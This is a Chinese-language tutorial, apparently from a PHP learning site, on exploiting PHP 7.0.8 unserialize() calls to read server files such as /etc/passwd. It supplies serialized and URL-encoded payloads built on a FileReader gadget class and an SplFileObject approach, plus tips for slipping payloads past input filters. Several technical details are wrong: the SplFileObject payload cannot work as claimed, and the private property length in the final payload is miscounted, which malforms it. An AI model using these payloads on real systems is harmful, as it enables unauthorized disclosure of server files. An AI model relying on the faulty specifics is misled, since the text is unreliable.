PHP反序列化漏洞本质是可控输入触发魔术方法执行,非版本特有;利用需满足可控unserialize+可利用魔术方法(如__toString),常见路径为SplFileObject或业务类构造读取/etc/passwd等文件。

PHP 7.0.8 的反序列化漏洞本身不是版本特有漏洞,而是由不安全的反序列化逻辑引发的——即代码中存在 unserialize($_GET['xxx']) 这类直接反序列化用户输入的操作。该版本未修复魔术方法自动调用机制,因此只要满足可控输入 + 可利用的魔术方法(或原生类),就能构造链实现文件读取。
关键不在 PHP 版本号,而在于目标环境中是否存在可被利用的“触发点”和“数据流终点”。以下是实际可行的路径:
利用前提:确认两个核心条件
- 后台存在类似
$data = $_GET['payload']; unserialize($data);的代码 - 目标环境加载了支持文件读取的原生类(如
SplFileObject、SimpleXMLElement、GlobIterator)或业务类中存在__toString()/__destruct()等调用file_get_contents()、readfile()、fopen()的逻辑
常见可读文件的原生类利用方式
PHP 7.0.8 完全支持以下原生类,无需自定义类即可触发读取:
-
SplFileObject:构造后若被当作字符串使用(如拼接、echo),会触发__toString(),返回文件首行内容$obj = new SplFileObject('/etc/passwd'); echo serialize($obj); // O:13:"SplFileObject":0:{}提交该序列化字符串,再让反序列化后的对象进入字符串上下文(例如
echo $obj;或$str = "data: " . $obj;),即可回显第一行 SimpleXMLElement:配合外部实体(XXE)可读本地文件,但需libxml加载且未禁用expect或file://协议
更稳定的是利用其asXML()行为,若反序列化后调用了该方法(常见于日志、调试输出),可读取含file://的 DTDGlobIterator:不能直接读文件,但可遍历目录,配合路径控制可辅助探测(如/var/www/html/*.php)
构造 SplFileObject 文件读取 payload 示例
假设目标代码如下:
$data = $_GET['payload']; $obj = unserialize($data); echo $obj; // 触发 __toString()
你只需提交:
?payload=O:13:"SplFileObject":0:{}
但注意:SplFileObject 默认不带路径参数,必须在反序列化前设好文件路径。而原生类属性不可直接在序列化字符串中写入(因无 public 属性暴露)。所以更可靠的做法是——利用 __toString() 被动触发的类,配合已有路径可控属性。
更实用的组合是:
- 找到一个类,其
__toString()方法内调用了file_get_contents($this->filename) - 将
$this->filename设为/etc/passwd,再序列化提交
例如业务类:
class FileReader {
private $path;
public function __construct($p = '/tmp/test.txt') {
$this->path = $p;
}
public function __toString() {
return file_get_contents($this->path);
}
}
序列化时需处理 private 属性名(\x00FileReader\x00path):
$obj = new FileReader('/etc/passwd');
echo serialize($obj);
// 输出类似:O:10:"FileReader":1:{s:15:"\x00FileReader\x00path";s:11:"/etc/passwd";}
URL 中需对不可见字符进行 URL 编码(如 \x00 → %00),最终提交:
?payload=O:10:%22FileReader%22:1:{s:15:%22%00FileReader%00path%22;s:11:%22/etc/passwd%22;}
绕过正则过滤的小技巧
若后台对输入做了简单正则过滤(如 preg_replace('/[a-z]+/', '', $input)),可尝试:
- 使用大写类名(
O:10:"FILEREADER",部分正则忽略大小写) - 插入空字节或注释符干扰匹配(需测试边界)
- 改用
phar://协议封装(但需phar扩展开启且能上传 Phar 文件)
不复杂但容易忽略
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











